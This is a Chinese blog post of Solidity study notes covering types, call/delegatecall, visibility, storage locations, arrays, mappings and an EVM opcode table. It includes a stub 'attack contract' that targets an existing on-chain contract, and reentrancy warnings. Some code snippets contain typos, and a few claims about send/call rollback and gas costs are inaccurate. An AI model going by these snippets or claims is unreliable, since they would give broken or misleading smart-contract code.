solo thinking tutorial

dyf

The dyf's blog

2019-03-28

solidity文档整理

文档整理


1. 合约的结构

  • 状态变量(State Variable)

  状态变量指的是那些直接声明在函数外的变量,他们被永久的储存在合约里。

1
2
3
4
5
pragma solidity >= 0.4.0 < 0.6.0;

contract SimpleStorage{
uint storedData; //State variable
}
  • 函数(Function)

  solidity里的函数与Javascript极为相似,但是包含更多的修饰词和可见性限制,也可以有多个返回值。

  • 函数修改器(Function Modifier)

  函数修改器主要是以声明的形式来修改函数的语义,比如给函数的出发增加限制条件或者验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity >= 0.4.0 < 0.6.0;
contract Purchase{
address public seller;

modifier onlySeller() {
require(msg.sender == seller,"only seller can call this");
-;
}

function abort() public view onlySeller{ // Modidier usage
// ...
}
}
  • 事件(Event)

  事件是EVM logging的便利接口。当事件被触发时,可将部分数据记录到区块链上。

1
2
3
4
5
6
7
8
9
10
pragma solidity >= 0.4.0 < 0.6.0;

contract SimpleAuction{
event HighestBidIncreased(address bidder, uint amount); //Event

function bid() public payable{
// ...
emit HighestBidIncreased(msg.sender,msg.value); //Triggering event
}
}
  • 结构(Struct)

  结构体与c语言极为相似

1
2
3
4
5
6
7
8
9
10
pragma solidity >= 0.4.0 < 0.6.0;

contract Ballot{
struct Voter{ // Struct
uint weight;
bool voted;
address delegate;
uint vote;
}
}
  • 枚举(Enum)

  枚举与C++中的枚举类似,都是自定义类型,你可以认为这是一个常量集合。

1
2
3
4
5
6
7
pragma solidity >= 0.4.0 < 0.6.0;

contract Purchase {
enum State {
Created, Locked, Inactive //Enum
}
}

2. 数据类型

  • 布尔(Booleans)

  与通常的语言一样,bool 包含 truefalse 两种常量。

Operators:

  1. !
  2. &&
  3. ||
  4. == 等于
  5. != 不等于

||&& 遵守短路定律,这意味着表达式

1
f(x) || g(y)

  如果f(x)为真,g(y)将不参与运算,尽管这可能有副作用。

  • 整数(Integers)

  int / uint 分别是有符号和无符号整数,他们具有可变的内存体积。关键字uint8到uint256与int8到uint8相对应。数字后缀代表的是变量的内存大小,uint8指的是8bits的无符号整数。并且uint与int是uint256与int256的别名(alias)。

Operator:

  1. 比较: <= , < , == , != , >= , > (表达式的值为bool)
  2. 位运算: & , | , ^ , ~
  3. 移位运算: << , >>
  4. 算数运算: + , - , * , /

整数的大小范围在solidity中十分严格,例如uint32代表0到2**32 - 1之间的数,如果结果超出这个范围,那么可能造成上溢或者下溢,这可能会给合约造成严重的安全隐患。

  • 地址(Address)

  地址类型是较为特殊的变量类型,这中变量对应一个合约或者账户(本质上合约就是一个账户),他主要包含两种风格:

address: 包含20byte的值 (以太坊地址)
address payable: 与address一样,但是包含transfer和send两个成员

  两者的主要区别是,后者可以就收以太币(Ether),但是address却不能,这里一定要注意,尤其是在写攻击合约的时候。

  address payable 到 address的隐式转换是允许的,但是反过来却不行,地址字面量能够被隐式的转换为address payable

  int 整数字面量(integer literals) bytes20以及合约 类型都可以被被显式的转换为address类型。

int 字面量 和bytes20 想要转换为address payable必须满足地址本身代表的合约或者账户的fallback(回滚)函数必须是payable的。当然,如果address变量的fallback函数是payable的,那么显式的转换也是可以的。

warning:

如果你想要将一个大的bytes类型转换为地址,比如bytes32,这个时候address会截尾,为了避免二义性,你必须显式的自行进行截断的选择。

1
2
3
4
5
b = 0x111122223333444455556666777788889999AAAABBBBCCCCDDDDEEEEFFFFCCCC;

address(uint160(bytes20(b))) //这时结果为0x111122223333444455556666777788889999aAaa

address(uint169(uint256(b))) //这时结果为0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc
  • 地址的成员(Members of Address)

  上面提到balance和transfer是address payable类型的两个成员。

  如果地址是payable的,那么我们可以查询地址剩余的Ether或者向他打钱,例如:

1
2
3
4
5
6
address payable x = address(0x123);
address myAddress = address(this);

if(x.balance < 10 && myAddress.balance >= 10){
x.transfer(10);
}

  这个时候我们就向x地址打了10块钱,balance实际上是调用了成员对象本身的getter()函数,getter能够返回一个状态变量的值。

transfer函数将会在ether不足或者对方拒绝收钱时执行失败,这个时候transfer()将会回滚,注意这里很重要,有转账功能的还有send()函数和

.call.value()()函数,后两者在失败时转出的钱不会回滚,这就有可能导致Reentrancy漏洞。

函数 处理 消耗
.transfer()
失败时抛出异常,并且回滚状态 消耗2300 Gas (not adjustable) 可防止回滚
.send()
失败时返回错误 消耗2300 Gas (not adjustable) 不防止回滚
.call.value().gas()()
失败时返回错误 消耗Gas可调节 不防止回滚

.send()与
.call.value()()函数在转账过程中发生异常时,不能有效回滚,导致Reentrancy的攻击无法防御,因此我们在交易时应当使用transfer()函数。

关于call() delegatecall() staticcall()
为了不依赖于ABI来调用合约的接口,或者更为直接的调用其他合约的方法,solidity提供了call,delegatecall,staticcall。他们都接受一个bytes memory类型的参数,并且返回bool类型和被调用方法的返回值。方法abi.encode,abi.encodePacked,abi.encodeWithSelector以及abi.encodeWithSignature 可以被用来将数据编码结构化。

1
2
3
4
5
bytes memory payload = abi.encodeWithSignature("register(string)","MyName");

(bool success, bytes memory returnData) = address(nameReg).call(payload);

require(success);

关于call()与delegatecall()的区别:

  这里要强调一下call与delegatecall可能导致的问题,两者都是底层调用,但是两者的上下文不同,call所代表的上下文是被调用合约实例本身,而delegatecall则是该方法调用的发起者。

delegatecall

  因此这时候我们应当注意状态的转换,尽量少的使用底层调用。

注:
作为底层调用,如果你调用了任何未知的恶意合约,相当于你将控制权交给了他,这有可能导致该恶意合约回调你的合约,所以你的合约状态变量可能会被恶意修改。通常情况下我们应当创建一个合约实例,如: x.f()

  call()的用法实例:

  1. 通过gas()函数修改器来调整Gas
1
address(nameReg).call.gas(1000000)(abi.encodeWithSignature("register(string)", "MyName"));
  1. 通过value()函数修改器来调整Ether:
1
address(nameReg).call.value(1 ether)(abi.encodeWithSignature)("register(string)","MyName");
  1. 这两种函数修改器可以结合:
1
address(nameReg).call.gas(1000000).value(1 ether)(abi.encodeWithSignature("register(string)", "MyName"));

  类似地,函数delegatecall也可以被如此调用,区别是:此函数只使用给定地址的代码,其他方面比如(storage,balance…)都是当前调用合约,这一点上面我们说过了。使用delegatecall的目的主要是使用其他合约的library中的方法。但是用户需要确定两合约的内存布局适合是的。

  对于staticcall,他与call十分相似,但这个方法会revert(恢复调用前状态)如果被调用方法修改了状态变量。

delegatecall()不支持value()修改器

所有的合约都能被显式转换为地址,因此可以使用address(this).balance来查看当前合约的存款。


  • 合约类型(Contract)

  与C++类似,每种合约都是一种数据类型,子类合约可以隐式的转换为父类或超类合约,并且能够显式的转换为address类型。

  与address类似,只有fallback函数是payable的合约才能转化为address payable。转换的方式依旧是address(contract) 而不是 address payable(contract).

  你可以声明一个合约类型的局部变量,那么你就可以调用那个合约的方法,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
contract A {
uint x;
contrusctor(uint a) internal{
x = a;
}
}

contract B {
A a = A(2); //调用了A的构造函数
function echoA() public view returns(uint){
return a.x(); //返回a.x的值
}
}

  但是假如你想要调用已经存在的一个实例,比如想要攻击已经在链上的一个合约,这个时候你可以:

1
2
3
4
5
6
7
8
9
contract Fuck {
address target_contract_addr = "0x123"; //首先获得攻击目标的地址

TargetContract x = TargetContract(target_contract_addr); //将地址注入构造函数

x.balance(); //进行你想做的攻击

//...
}

你可以用type(c)来获得c合约的类型。


  • 定长数组(Fixed-size byte arrays)

  bytes1到bytes32能储存一列数,数组长度是从1到32,byte是byte1的alias。

Operator:

  1. 比较 <= , < , == , != , >= , > 结果返回bool
  2. 位运算: & , | , ^ , ~
  3. 移位运算: << , >>
  4. 寻址运算: x[k] 获得数组x的第i+1个数据

成员对象.length是只读的,不可修改

  • 变长数组(Dynamically-sized byte array)

  bytes是动态大小的数组,不是值类型。
  string是UTF-8-encode 的string类型,不是值类型。


  • 字面量(Literals)

  字面量包括地址字面量(Address Literals),字符串字面量(String Literals)和有理字面量(Rational Literals)以及整数字面量(Interege Literals),通俗来讲字面量就是常数,而且其精度无限(与其本身长度有关),但是当字面两转化为非字面量时,精度可能会损失。

5/2对于字面量来说是2.5,而对于uint来说是2。字面量参与非字面量进行运算时,其类型必须相同,如:

1
2
3

uint128 a = 1;
uint128 b = 2.5 + a; //这样写是会报错的

  • 函数(Function)

  函数的用法与js极为相似,只是有些可见性关键字需要解释一下,首先来看一下声明格式:

1
function (<parameter types>) {internal|external} [pure|view|payable] [<returns types>]

  函数中假如有返回值,则返回值的类型不能省略,如果返回值缺省,那么整个returns()的部分都应该省略。

  默认情况下函数的可见性是internal,但是我自己在尝试时发现,如果可见性关键字缺省则会导致报错。

  下面我们来解释一下可见性与访问控制的问题:

  函数的可见性分为四种:public private internal external .

internal

  internal调用,实现时转为简单的EVM跳转,所以他能够直接访问上下文的数据,对于引用传递是十分高效,例如memory之间的值传递,实际上是引用的传递(妈耶,storage和memory又是坑,不同版本真是令人窒息)。

  当前代码单元内,比如同一个合约内的函数,引入的library库,以及父类函数的直接调用即为internal调用,比如:

1
2
3
4
5
6
7
8
9
pragma solidity >=0.4.0 < 0.6.0;

contract test{
function a() internal {}

function b() internal {
a();
}
}

  在上述代码中的b()对a()的调用即为internal方式调用,函数在不显式声明访问类型时,以目前的版本来看会报错。

external

  external调用实现了合约的外部消息调用。所以合约在初始化时不能以external的方式调用自身函数,因为此时合约仍未构造完成,此处可类比struct类型,一个结构体不能包含自身对象。但是可以以this的方式强制进行external调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity >= 0.4.0 < 0.6.0;
contract test{
function a() external {}

function b() public {
a(); //此时会报错
}

contract ext{
function callA(test tmp) public {
tmp.a();
}
}
}

public

  public的特点是,函数既可以以internal方式调用,也可以用internal方式调用。public函数可以被外部接口访问,是合约对外接口的一部分。

1
2
3
4
5
6
7
8
9
10
pragma solidity >= 0.4.0 < 0.6.0

contract test{
function fun1() public{}

funciton fun2() public {
fun1();
this.fun2();
}
}

  可以看到没有报错,既然public这么舒服,那为啥我还要用external???

  经过对比后我们可以发现,external方法消耗的gas要比public少,因为Solidity在调用public函数时会将代码复制到EVM的内存中,而external则是以calldata的方式进行调用的。内存分配在EVM中是十分宝贵的,而读取calldata则十分廉价,因此在处理大量外部数据,并反复调用函数时,应当考虑用external方法。

  这里应当注意的是,public属于可见性。函数的可见性分为四种:public private internal external .

private

  对于private,与internal的区别是,private的方法在子类中无法调用,即使被声明为private也不能阻止数据的查看。访问权限仅仅是限制其他合约对函数的访问和数据修改的权限。而private方法也默认以internal的方式调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity >= 0.4.0 < 0.6.0;

contract test{
function fun1() private{}

function fun2() public{
fun1();
//this.fun1()
}
}

//合约的继承为is,这一点很容易理解,如果你明白设计模式的话,实际上继承是A is B 的关系,我很喜欢这种写法。

contract ext is test{
function callFun() public {
//fun1();
fun2();
}
}

  这里我们可以明确的看到private的效果,和internal类似,但是代价会更大。

  然而 publicprivate 还可以被作用于其他的变量,用于设置外部访问权限。

  请大家务必不要弄混 调用方式可见性(visable)

关于 view pure constant

  在0.4.1之前只有constant这一种可爱的语法,就是有一些屁事很多的人觉得constant指的是变量,作用于函数不太合适,所以就把constant拆成了view和pure。

  在Solidity中,constant view pure 的作用是告诉编译器,函数 不改变不读取状态变量,这样一来函数的执行就不再消耗gas了,因为不再需要矿工去验证。

  然而这三个东西有点有意思,在官方文档中用 restrictive 这一词来对函数的严格性进行描述,在函数类型转换时对严格行有一定的要求,高严格性函数可以被转化为低严格性函数:

  • pure 类型可被转化为 viewnon-payable 函数

  • view 类型可被转化为 non-payable 函数

  • payable 类型可被转化为 non-payable 函数

Member:

  1. selector 返回ABI函数选择器。
  2. gas(uint) 返回一个函数对象,当被调用时将会发送具体数目的Gas给目标函数。
  3. value(uint)返回一个函数对象了,当被调用时将会发送具体的wei给目标函数,或者使用value(1 ether)的方式来发送以太币。

  我们来看一下用法示例:

1
2
3
4
5
6
7
8
9
10
pragma solidity >=0.4.16 <0.6.0;

contract Example {
function f() public payable returns (bytes4) {
return this.f.selector;
}
function g() public {
this.f.gas(10).value(800)();
}
}

  下面是internal关键字的用法示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity >=0.4.16 <0.6.0;

library ArrayUtils {
// internal functions can be used in internal library functions because
// they will be part of the same code context
function map(uint[] memory self, function (uint) pure returns (uint) f)
internal
pure
returns (uint[] memory r)
{
r = new uint[](self.length);
for (uint i = 0; i < self.length; i++) {
r[i] = f(self[i]);
}
}
function reduce(
uint[] memory self,
function (uint, uint) pure returns (uint) f
)
internal
pure
returns (uint r)
{
r = self[0];
for (uint i = 1; i < self.length; i++) {
r = f(r, self[i]);
}
}
function range(uint length) internal pure returns (uint[] memory r) {
r = new uint[](length);
for (uint i = 0; i < r.length; i++) {
r[i] = i;
}
}
}

contract Pyramid {
using ArrayUtils for *;
function pyramid(uint l) public pure returns (uint) {
return ArrayUtils.range(l).map(square).reduce(sum);
}
function square(uint x) internal pure returns (uint) {
return x * x;
}
function sum(uint x, uint y) internal pure returns (uint) {
return x + y;
}
}

  接下来是external关键字的用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity >=0.4.22 <0.6.0;

contract Oracle {
struct Request {
bytes data;
function(uint) external callback;
}
Request[] requests;
event NewRequest(uint);
function query(bytes memory data, function(uint) external callback) public {
requests.push(Request(data, callback));
emit NewRequest(requests.length - 1);
}
function reply(uint requestID, uint response) public {
// Here goes the check that the reply comes from a trusted source
requests[requestID].callback(response);
}
}

contract OracleUser {
Oracle constant oracle = Oracle(0x1234567); // known contract
uint exchangeRate;
function buySomething() public {
oracle.query("USD", this.oracleResponse);
}
function oracleResponse(uint response) public {
require(
msg.sender == address(oracle),
"Only oracle can call this."
);
exchangeRate = response;
}
}

Lambda(匿名)和inline(内联)函数暂时不支持,在后续版本即将推出。

  • 引用类型(Reference Type)

  引用与C++中的引用类似,即一个量可以通过多个别名修改,与值类型相比较,后者可以直接得到一个拷贝对象。因此,在使用引用类型时应当格外小心。目前,引用类型包括结构,数组和映射。如果你使用一个引用类型,你必须显式的声明他的储存位置:

memory 生命周期为一个函数调用,只在EVM内存中存在
storage 生命周期无限,与状态变量一起储存在区块链上
calldata 包含函数参数的特殊数据位置,仅可用于external函数调用参数

  更改Data Location的赋值或类型转换将会引发自动复制操作,若两者的Data Location类型相同,那么只在两者均为storage的某些情况下才会引发复制临时对象。

数据位置(Data Location)

  如上面提到,引用类型必须显式的添加”data location”的声明,即memory storage calldata.
  Calldata只对external函数的参数有效,并且对于此类型的参数是必须的。Calldata类型的变量的存储位置是不可修改的,非持久的储存函数参数的区域,行为与memory十分类似。

内存区域和分配行为

  数据位置不仅与数据的持久性有关,还与赋值的语义有关:

  1. 当赋值行为在memory(或者calldata)与storage之间时,会直接创造一个拷贝对象
  2. 当赋值行为是memory与memory时,仅仅创造一个引用,这意味着如果修改其中一个memory变量,将会导致所指向的同一位置的内存数据的修改(与C语言的指针类似)
  3. 当storage赋值给local storage(函数中的storage)之间时,此时也仅仅分配一个引用
  4. 其他所有赋值给storage或状态变量的操作都会创造一个拷贝对象,即使给storage的局部变量仅仅是个引用。下面的例子展现了这几种特性:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity >=0.4.0 <0.6.0;

contract C {
uint[] x; // the data location of x is storage

// the data location of memoryArray is memory
function f(uint[] memory memoryArray) public {
x = memoryArray; // works, copies the whole array to storage
uint[] storage y = x; // works, assigns a pointer, data location of y is storage
y[7]; // fine, returns the 8th element
y.length = 2; // fine, modifies x through y
delete x; // fine, clears the array, also modifies y
// The following does not work; it would need to create a new temporary /
// unnamed array in storage, but storage is "statically" allocated:
// y = memoryArray;
// This does not work either, since it would "reset" the pointer, but there
// is no sensible location it could point to.
// delete y;
g(x); // calls g, handing over a reference to x
h(x); // calls h and creates an independent, temporary copy in memory
}

function g(uint[] storage) internal pure {}
function h(uint[] memory) public pure {}
}

  • 数组(Array)

  数组的用法上面介绍的都差不多了,这里需要注意的是solidity中的数组的声明方式与通常的语言不同,他的第一个下标是一个数组的位置,第二个下标是数组中元素的位置:

1
2
3
4
5
uint[][5] x memory;		//一个由5个储存uint类型的动态数组被写入数组x		这种方式与其他语言相反

X[2][1]; //代表第三个数组的第二个元素

T[5] a; //T本身可以是个数组,那么a[2]就代表T类型的变量

  数组元素可以是任意类型,包括映射(mapping)与结构(struct)类型。但是通常情况下这种使用有限制,因为mapping与struct必须存储在storage数据区域内。

  将状态变量数组声明为public是可行的,并且solidity将会为其创建一个getter接口。那么数组的数字索引将会是getter()的参数。

  当数组寻址且超过其长度范围时,将会导致一个失败断言(failing assertion).你可以使用.push()与.pop()函数来向末尾增加或弹出元素(与C++的STL类似),也可以直接修改.length成员来修改数组的长度。

关于bytes与string

  bytes与string是特殊测数组,bytes与byte[]类似,但是他在calldata与memory存储区域内将会被打包的更紧致。string与bytes的区别是,string不能访问.length也不能进行寻址操作。

  solidity没有字符串操作函数,但有第三方字符串库。还可以使用keccak256-hash函数来比较两个字符串:

1
keccak256(abi.encodePacked(s1)) == keccak256(abi.encodePacked(s2))

  并通过abi.encodePacked(s1, s2)来连接两个字符串。

  你应当尽量的使用bytes而不是bytes[],因为bytes[]在两个元素之间增加了31个填充字节。作为一般规则,对任意长度的原始byte数据使用bytes,对任意长度字符串(UTF-8)数据使用string。

加入你一定要对string对象进行.length或者寻址操作,那么你应当先把他强制转换为bytes类型,如:

1
2
3
4
5
string s;

uint len = bytes(s).length;

bytes(s)[7] = 'x';

为数组分配内存

  为数组分配内存与C++类似,要使用new关键字在内存中创建运行时确定长度的数组,如:

1
2
3
4
5
6
7
8
9
10
11
pragma solidity >=0.4.16 <0.6.0;

contract C {
function f(uint len) public pure {
uint[] memory a = new uint[](7);
bytes memory b = new bytes(len);
assert(a.length == 7);
assert(b.length == len);
a[6] = 8;
}
}

数组成员

Length:
数组的length成员包含了数组元素的个数,这个长度在内存中一旦确定是不可变的(不包括动态数组),对于动态数组,给length重新赋值能够修改其长度。当寻址超出长度之外时,你将会引发一个失败断言。新增加的长度的值被初始化为0,你可以通过delete关键字删除单个的元素来减少数组的长度。如果你尝试改变一个非动态数组的length,你会得到一个Value must be an lvalue错误。

push:
  动态数组以及bytes与string拥有push()成员函数,你可以使用push来向数组末尾添加一个元素,若参数为空则默认为0,该函数返回新的数组长度。

pop:
  动态数组以及bytes与string拥有pop()成员函数,你可以使用pop来删除数组末尾的最后一个元素。

注意:

这里一定要注意动态数组的下溢问题(underflow),假如你对一个空数组进行<d-array>.length--操作,那么这将会导致数组的长度变为2**256 - 1,这意味着你将可以访问内存中的任意变量,也可能导致某些逻辑判断的步骤出错。

  增加数组的长度将会消耗固定的Gas,因为新增的元素被初始化为0,当减少长度时则消耗线性的Gas(但通常情况下要比线性糟糕), 因为包含了显式的删除与清理元素的步骤,即调用delete关键字。

目前还不能在external函数中使用数组的数组,但是在public函数中是支持的。

在拜占庭(Byzantium)之前的EVM版本中,无法访问函数调用返回的动态数组。如果调用返回动态数组的函数,请确保使用设置为拜占庭模式的EVM。关于拜占庭请参考白皮书中的拜占庭将军问题,很有意思。

  数组用法实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
pragma solidity >=0.4.16 <0.6.0;

contract ArrayContract {
uint[2**20] m_aLotOfIntegers;
// Note that the following is not a pair of dynamic arrays but a
// dynamic array of pairs (i.e. of fixed size arrays of length two).
// Because of that, T[] is always a dynamic array of T, even if T
// itself is an array.
// Data location for all state variables is storage.
bool[2][] m_pairsOfFlags;

// newPairs is stored in memory - the only possibility
// for public contract function arguments
function setAllFlagPairs(bool[2][] memory newPairs) public {
// assignment to a storage array performs a copy of ``newPairs`` and
// replaces the complete array ``m_pairsOfFlags``.
m_pairsOfFlags = newPairs;
}

struct StructType {
uint[] contents;
uint moreInfo;
}
StructType s;

function f(uint[] memory c) public {
// stores a reference to ``s`` in ``g``
StructType storage g = s;
// also changes ``s.moreInfo``.
g.moreInfo = 2;
// assigns a copy because ``g.contents``
// is not a local variable, but a member of
// a local variable.
g.contents = c;
}

function setFlagPair(uint index, bool flagA, bool flagB) public {
// access to a non-existing index will throw an exception
m_pairsOfFlags[index][0] = flagA;
m_pairsOfFlags[index][1] = flagB;
}

function changeFlagArraySize(uint newSize) public {
// if the new size is smaller, removed array elements will be cleared
m_pairsOfFlags.length = newSize;
}

function clear() public {
// these clear the arrays completely
delete m_pairsOfFlags;
delete m_aLotOfIntegers;
// identical effect here
m_pairsOfFlags.length = 0;
}

bytes m_byteData;

function byteArrays(bytes memory data) public {
// byte arrays ("bytes") are different as they are stored without padding,
// but can be treated identical to "uint8[]"
m_byteData = data;
m_byteData.length += 7;
m_byteData[3] = 0x08;
delete m_byteData[2];
}

function addFlag(bool[2] memory flag) public returns (uint) {
return m_pairsOfFlags.push(flag);
}

function createMemoryArray(uint size) public pure returns (bytes memory) {
// Dynamic memory arrays are created using `new`:
uint[2][] memory arrayOfPairs = new uint[2][](size);

// Inline arrays are always statically-sized and if you only
// use literals, you have to provide at least one type.
arrayOfPairs[0] = [uint(1), 2];

// Create a dynamic byte array:
bytes memory b = new bytes(200);
for (uint i = 0; i < b.length; i++)
b[i] = byte(uint8(i));
return b;
}
}

  • 结构(struct)

  Solidity提供了一种声明新的类型的方法,即struct。struct与C/C++一样,用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity >=0.4.11 <0.6.0;

contract CrowdFunding {
// Defines a new type with two fields.
struct Funder {
address addr;
uint amount;
}

struct Campaign {
address payable beneficiary;
uint fundingGoal;
uint numFunders;
uint amount;
mapping (uint => Funder) funders;
}

uint numCampaigns;
mapping (uint => Campaign) campaigns;

function newCampaign(address payable beneficiary, uint goal) public returns (uint campaignID) {
campaignID = numCampaigns++; // campaignID is return variable
// Creates new struct in memory and copies it to storage.
// We leave out the mapping type, because it is not valid in memory.
// If structs are copied (even from storage to storage), mapping types
// are always omitted, because they cannot be enumerated.
campaigns[campaignID] = Campaign(beneficiary, goal, 0, 0);
}

function contribute(uint campaignID) public payable {
Campaign storage c = campaigns[campaignID];
// Creates a new temporary memory struct, initialised with the given values
// and copies it over to storage.
// Note that you can also use Funder(msg.sender, msg.value) to initialise.
c.funders[c.numFunders++] = Funder({addr: msg.sender, amount: msg.value});
c.amount += msg.value;
}

function checkGoalReached(uint campaignID) public returns (bool reached) {
Campaign storage c = campaigns[campaignID];
if (c.amount < c.fundingGoal)
return false;
uint amount = c.amount;
c.amount = 0;
c.beneficiary.transfer(amount);
return true;
}
}

  该合同不提供众筹合同的全部功能,但它包含理解结构所必需的基本概念。结构可被用于映射(mapping)或者数组(array)类型,并且结构也可以包含映射与数组。

  与C++类似,结构不可包含其自身成员对象,这个限制是必须的,否则无线递归将导致该类型的内存无限大。

注意:

在函数中,把state结构类型变量赋值给一个局部storage类型变量时,并不会复制该对象,而仅仅将一个引用赋值给该局部变量,所以该局部变量可以写入state变量。

  当然,在函数中你可以直接访问一个结构对象的成员,而不必将其再次赋值给一个局部变量,因为Solidity为其创建了getter。

1
campaigns[campaignID].amount = 0

  • 映射(Mapping)

  映射与python中的字典类似但意义不同,其声明的语法如下:

1
2
3
mapping(_KeyType => _ValueType)

//_KeyType可以是任意初等型

  这意味着_KeyType可以是任何内置值类型加上bytes和string类型,但是不能被定义为复杂类型(contract types, enums, mappings, structs 以及除了bytes与string之外的所有array类型)._ValueType则可以为任意类型,包括映射。

  你可以将映射理解为哈希表(Hash Table),Key的值不储存在映射中,我们只用他的keccak256来进行索引。

因此,映射没有要设置的键或值的长度或概念。

  映射类型具有storage的数据储存类型,因此他允许作为状态变量,或者作为storage的引用在函数中存在,或者作为library函数的参数。但是他们不能用于public函数的返回值或者参数。

  你可以将映射标记为public类型,并且Solidity为他创建了一个getter()接口,_KeyType将作为getter()的参数,如果_ValueType是值类型或者结构类型,那么getter将直接返回该对象,如果_ValueType是数组或映射,那么getter将返回一个包含所有_KeyType的变量,这将可以递归下去。 实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity >=0.4.0 <0.6.0;

contract MappingExample {
mapping(address => uint) public balances;

function update(uint newBalance) public {
balances[msg.sender] = newBalance;
}
}

contract MappingUser {
function f() public returns (uint) {
MappingExample m = new MappingExample();
m.update(100);
return m.balances(address(this));
}
}

映射类型是不可迭代的,但是你可以用他实现数据结构。


  • delete

  Solidity的delete与其他语言有所不同,这里的delete是将一个对象清零,你甚至可以用他来进行变量声明,delete a是将a初始化为0,若delete作用于动态数组则将其length变为0,若作用于静态数组则将其所有元素清零。delete a[x]则将清除这个单独的元素,并不会改变length和其他元素,但是这意味着数组留下了间隙,如果你打算删除数组中的元素,或许映射是更好的选择。

  若作用于结构,它将重新初始化结构。换言之,删除后a的值与声明a时的值相同,但需注意以下事项:

delete对映射无效,因此假如struct中含有映射对象,delete并不会递归执行。但是映射单独的键值关系可以被删除:

1
delete a[msg.sender];		//这将是有效的

当对象a是一个引用时,delete将不会修改其原来的值,而是直接重置a对象本身。

  用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity >=0.4.0 <0.6.0;

contract DeleteExample {
uint data;
uint[] dataArray;

function f() public {
uint x = data;
delete x; // sets x to 0, does not affect data
delete data; // sets data to 0, does not affect x
uint[] storage y = dataArray;
delete dataArray; // this sets dataArray.length to zero, but as uint[] is a complex object, also
// y is affected which is an alias to the storage object
// On the other hand: "delete y" is not valid, as assignments to local variables
// referencing storage objects can only be made from existing storage objects.
assert(y.length == 0);
}
}

3. 汇编基础(Solidity Addembly)

  • 指令集

  首先,我们来给出Solidity的指令集,这些东西有利于理解opcodes(操作码)

  如果opcode带有参数(从栈顶获取),那么参数将在括号内给出。注意,在非函数样式中,参数的顺序反了过来,这很容易理解,他与C语言传参方式相同。opcode如果带有 - 标记,那么他将不会往栈上push一个对象(即无返回值),如果带有*标记,代表他们比较特殊,其他没有标记的instruction将会向栈上push一个对象,这将是他们的返回值。若opcode被F,H,B或者C标记,那么他们分别是出现自 Frontier, Homestead, Byzantium or Constantinople. Constantinople 仍然在计划中,所有被标记C的指令将导致无效或异常。

  在以下指令中mem[)表示从a开始但不包括b的memory字节,storage[p]表示包含在p位置的storage内容。

pushi与jumpdest不能被直接使用。

  在语法中,操作码被表示为预先定义的标识符。

指令(Instruction) 解释(解释)
stop - F 停止执行,等价于return(0,0)
add(x, y) F x + y
sub(x, y) F x - y
mul(x, y) F x * y
div(x, y) F x / y
sdiv(x, y) F x / y, 二进制补码表示的有符号数
mod(x, y) F x % y
smod(x, y) F x % y, 二进制补码表示的有符号数
exp(x, y) F x的y次幂
not(x) F ~x, x的每位取非
lt(x, y) F 若 x < y 则为1, 否则为0
gt(x, y) F 若 x > y 则为1, 否则为0
slt(x, y) F 若 x < y 则为1, 否则为0, 二进制补码表示的有符号数
sgt(x, y) F 若 x > y 则为1, 否则为0, 二进制补码表示的有符号数
eq(x, y) F 若 x == y 则为1, 否则为0
iszero(x) F 若 x == 0 则为1, 否则为0
and(x, y) F 按位将x y进行and运算
or(x, y) F 按位将x y进行or运算
xor(x, y) F 按位将x y进行xor运算
byte(x, x) F x的第n个字节,其中最重要的字节是第0个字节
shl(x, y) C 将y逻辑左偏移x位
sar(x, y) C 将y逻辑右偏移x位
addmod(x, y, m) F (x + y) % m 具有任意精度的运算
mulmod(x, y, m) F (x * y) % m 具有任意精度的运算
keccak256(p, n) F keccak(mem[p…(p+n)))
jump(label) - F jump到 label / code 的位置
jumpi(lable, cond) - F jump到 label 若 cond 非零
pc F 当前代码位置
pop(x) - F stack弹出一个元素
dup 1 … dup 16 * F 将第n个stack的slot复制到栈顶(从顶算起)
swap 1 … swap 16 * F 交换顶与栈底的第n个slot
mload(p) F mem[p…(p+32))
mstore(p, v) - F mem[p…(p+32)) := v
mstore8(p, v) - F mem[p] := v & 0xff 只修改一个字节
sload(p) F storage[p]
sstore(p, v) - F storage[p] := v
msize F memory的大小,即最大可访问的内存索引
gas F 仍可用于执行的gas的量
address F 当前合约或正在执行的上下文的地址
balance(a) F 地址a的账户存款,以wei表示
caller F call的sender(不包括delegatecall)
callvalue F 当前发送call所发送eth的总量,以wei表示
calldatasize F 以字节表示的当前call data的大小
calldatacopy(t, f, s) - F 从calldata的f位置复制s个字节到memory的t位置
extcodesize F 当前合约或上下文的代码的大小
extcodecopy(a, t, f, s) - F 与codecopy(t, f, s)类似,但是是从地址a处复制
returndatasize B 上次返回值的大小
returndatacopy(t, f, s) - B 将f位置的返回值复制s字节到memory的t位置
extcodehash(a) C 地址a的hash
create(v, p , n) F 以mem[p…(p+n))处的代码创建一个新的合约并且发送v数量的wei,返回新地址
call(g, a, v, in, insize,out, outsize) F 将mem[in…(in+insize))作为输入调用a地址的合约,提供g数量的gas,若出错则返回0(gas耗尽),成功返回1
callcode(g, a, v, in, insize, out, outsize) F 与call相同,但是保留当前上下文
delegatecall(g, a, in, insize, out, outsize) B 与callcode相同,但是保持当前的caller与callvalue
